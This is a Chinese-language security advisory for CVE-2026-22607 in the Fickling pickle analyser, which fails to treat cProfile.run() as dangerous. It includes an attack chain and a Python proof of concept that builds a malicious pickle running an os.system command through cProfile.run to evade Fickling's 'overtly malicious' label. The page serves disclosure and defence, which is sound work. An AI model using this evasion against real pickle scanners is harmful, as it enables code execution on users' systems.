CVE-2026-22607 Fickling pickle反编译器cProfile模块误判漏洞

漏洞信息

漏洞编号

CVE-2026-22607

漏洞类型

安全误判/代码执行

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Fickling

漏洞概述

Fickling是一个Python pickle反编译器和静态分析工具，广泛用于安全检测Python pickle文件是否包含恶意代码。该工具通过静态分析pickle数据来判断其安全性，并将分析结果分为不同等级。然而，Fickling 0.1.6及之前版本存在安全检测缺陷，未将Python标准库中的cProfile模块视为潜在危险模块。cProfile模块的run()函数可以执行任意代码，但由于Fickling未将其识别为危险操作，使用cProfile.run()的恶意pickle文件被错误分类为SUSPICIOUS（可疑）而非OVERTLY_MALICIOUS（明显恶意）。这意味着依赖Fickling作为安全关卡来判断pickle文件是否安全的系统，可能会错误地允许恶意pickle文件被反序列化，从而导致在用户系统上执行攻击者精心构造的恶意代码。

技术细节

Fickling的安全检测机制依赖于对pickle字节码的静态分析，通过识别特定函数调用来判断pickle是否包含恶意代码。正常情况下，Fickling会检测__import__、os.system、subprocess等明显危险的函数调用，并将其标记为OVERTLY_MALICIOUS。然而，cProfile.run()函数是Python的标准性能分析工具，它可以接受字符串参数并使用eval()执行代码。攻击者可以利用pickle的__reduce__协议，通过cProfile.run()函数间接执行任意系统命令或Python代码。例如，攻击者可以构造一个恶意pickle对象，其__reduce__方法返回包含cProfile.run('os.system("恶意命令")')的元组。当Fickling进行静态分析时，由于cProfile.run()不在其危险函数黑名单中，该pickle不会被标记为高危。但当这个pickle被反序列化时，cProfile.run()会执行其中的代码，从而实现远程代码执行。攻击的利用条件包括：目标系统使用Fickling进行安全检测，且用户会打开或反序列化来自不可信来源的pickle文件。

攻击链分析

STEP 1

步骤1

攻击者创建包含cProfile.run()调用的恶意pickle对象，利用__reduce__协议指定代码执行路径

STEP 2

步骤2

攻击者将恶意pickle文件分发给目标用户，通常伪装成合法的序列化数据文件

STEP 3

步骤3

目标用户使用Fickling对pickle文件进行安全检测

STEP 4

步骤4

Fickling静态分析将恶意pickle错误分类为SUSPICIOUS而非OVERTLY_MALICIOUS

STEP 5

步骤5

依赖Fickling判断结果的目标系统认为pickle安全，允许反序列化操作

STEP 6

步骤6

反序列化过程中cProfile.run()执行其中的恶意代码，实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

"""
CVE-2026-22607 PoC - Malicious pickle using cProfile.run()
This PoC demonstrates how an attacker can bypass Fickling's security check
by using cProfile.run() instead of directly calling os.system().
"""

import pickle
import cProfile
import os

class MaliciousPayload:
    def __reduce__(self):
        # Using cProfile.run() to execute arbitrary code
        # This will be misclassified by Fickling as SUSPICIOUS instead of OVERTLY_MALICIOUS
        return (cProfile.run, ('os.system("echo PWNED > /tmp/pwned.txt")',))

# Generate malicious pickle
malicious_pickle = pickle.dumps(MaliciousPayload())

# Save to file (for testing)
with open('malicious_cprofile.pkl', 'wb') as f:
    f.write(malicious_pickle)

print('Malicious pickle created: malicious_cprofile.pkl')
print('Fickling will classify this as SUSPICIOUS, not OVERTLY_MALICIOUS')
print('When deserialized, it will execute: os.system("echo PWNED > /tmp/pwned.txt")')

影响范围

Fickling < 0.1.7

Fickling 0.1.0 - 0.1.6

防御指南

临时缓解措施

由于Fickling 0.1.7之前的版本存在安全检测缺陷，建议立即升级到最新版本。在升级前，应避免反序列化来自不可信来源的pickle文件，或使用其他安全机制（如进程隔离、沙箱环境）来限制反序列化操作可能造成的损害。对于必须处理不受信任pickle的应用，考虑实现额外的安全层，如代码签名、完整性校验或使用更安全的序列化格式替代pickle。